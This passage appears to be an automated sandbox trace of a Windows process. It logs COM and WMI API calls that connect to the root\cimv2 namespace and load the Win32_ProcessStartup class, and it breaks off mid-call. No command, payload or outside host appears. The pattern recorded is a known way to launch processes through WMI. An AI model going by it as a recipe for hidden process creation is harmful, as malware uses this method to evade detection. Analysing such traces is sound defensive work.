WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b6d0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0129.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0129.882] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0129.882] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.882] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0129.882] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0129.882] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0129.882] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.884] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bb9ddb0) returned 0x0 [0129.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9ddb0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0129.884] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9ddb0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0b790) returned 0x0 [0129.884] WbemDefPath:IUnknown:Release (This=0x1bb9ddb0) returned 0x0 [0129.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0b790) returned 0x0 [0129.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0129.885] WbemDefPath:IUnknown:AddRef (This=0x1aa0b790) returned 0x3 [0129.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0129.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0129.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bb9ddf0) returned 0x0 [0129.885] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9ddf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.885] WbemDefPath:IUnknown:Release (This=0x1bb9ddf0) returned 0x3 [0129.885] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0129.885] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0129.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0129.885] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x2 [0129.885] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x1 [0129.886] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0129.886] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0129.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0b790) returned 0x0 [0129.886] WbemDefPath:IUnknown:AddRef (This=0x1aa0b790) returned 0x3 [0129.886] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x2 [0129.886] WbemDefPath:IWbemPath:SetText (This=0x1aa0b790, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0129.886] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b790, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0129.886] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b790, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0129.886] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b790, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.886] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0129.886] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0129.886] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0129.886] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.887] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bba6650) returned 0x0 [0129.887] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6650, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0129.887] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bba6650, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bba6670) returned 0x0 [0129.887] WbemLocator:IUnknown:Release (This=0x1bba6650) returned 0x0 [0129.887] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6670, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bba6670) returned 0x0 [0129.887] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6670, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0129.888] WbemLocator:IUnknown:AddRef (This=0x1bba6670) returned 0x3 [0129.888] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6670, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0129.888] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6670, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0129.888] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6670, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0129.888] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0129.888] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0129.888] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6670, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0129.888] WbemLocator:IUnknown:Release (This=0x1bba6670) returned 0x2 [0129.888] WbemLocator:IUnknown:Release (This=0x1bba6670) returned 0x1 [0129.888] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0129.888] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0129.888] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6670, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bba6670) returned 0x0 [0129.888] WbemLocator:IUnknown:AddRef (This=0x1bba6670) returned 0x3 [0129.888] WbemLocator:IUnknown:Release (This=0x1bba6670) returned 0x2 [0129.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b790, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0129.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b790, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0129.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b790, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.889] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bba6690) returned 0x0 [0129.889] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bba6690, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bb81ef0) returned 0x0 [0130.209] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81ef0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa02aa0) returned 0x0 [0130.209] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02aa0, pProxy=0x1bb81ef0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0130.209] WbemLocator:IUnknown:Release (This=0x1aa02aa0) returned 0x1 [0130.209] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81ef0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa02ae0) returned 0x0 [0130.209] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81ef0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa02aa0) returned 0x0 [0130.209] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02aa0, pProxy=0x1bb81ef0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0130.209] WbemLocator:IUnknown:Release (This=0x1aa02aa0) returned 0x2 [0130.209] WbemLocator:IUnknown:Release (This=0x1aa02ae0) returned 0x1 [0130.209] CoTaskMemFree (pv=0x1bba5e80) [0130.209] WbemLocator:IUnknown:AddRef (This=0x1bb81ef0) returned 0x2 [0130.209] WbemLocator:IUnknown:Release (This=0x1bba6690) returned 0x0 [0130.210] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0130.210] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0130.210] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81ef0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa02ab0) returned 0x0 [0130.210] WbemLocator:IRpcOptions:Query (in: This=0x1aa02ab0, pPrx=0x1bba66f0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0130.210] WbemLocator:IUnknown:Release (This=0x1aa02ab0) returned 0x2 [0130.210] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0130.210] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0130.210] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81ef0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bb81ef0) returned 0x0 [0130.210] WbemLocator:IUnknown:Release (This=0x1bb81ef0) returned 0x2 [0130.210] SysStringLen (param_1=0x0) returned 0x0 [0130.210] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0130.210] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0130.211] IWbemServices:GetObject (in: This=0x1bb81ef0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb92630, ppCallResult=0x0) returned 0x0 [0130.212] IWbemClassObject:Get (in: This=0x1bb92630, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0130.212] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0130.212] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0130.213] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0130.213] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0130.213] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0130.213] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.214] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bba6690) returned 0x0 [0130.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6690, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0130.215] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6690, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0b850) returned 0x0 [0130.215] WbemDefPath:IUnknown:Release (This=0x1bba6690) returned 0x0 [0130.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0b850) returned 0x0 [0130.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0130.215] WbemDefPath:IUnknown:AddRef (This=0x1aa0b850) returned 0x3 [0130.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0130.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0130.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bba66b0) returned 0x0 [0130.215] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba66b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.215] WbemDefPath:IUnknown:Release (This=0x1bba66b0) returned 0x3 [0130.215] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0130.215] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0130.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0130.215] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x2 [0130.216] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x1 [0130.216] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0130.216] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0130.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0b850) returned 0x0 [0130.216] WbemDefPath:IUnknown:AddRef (This=0x1aa0b850) returned 0x3 [0130.216] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x2 [0130.216] WbemDefPath:IWbemPath:SetText (This=0x1aa0b850, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0130.216] IWbemClassObject:Get (in: This=0x1bb92630, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c0628*=0, plFlavor=0x27c062c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c0628*=19, 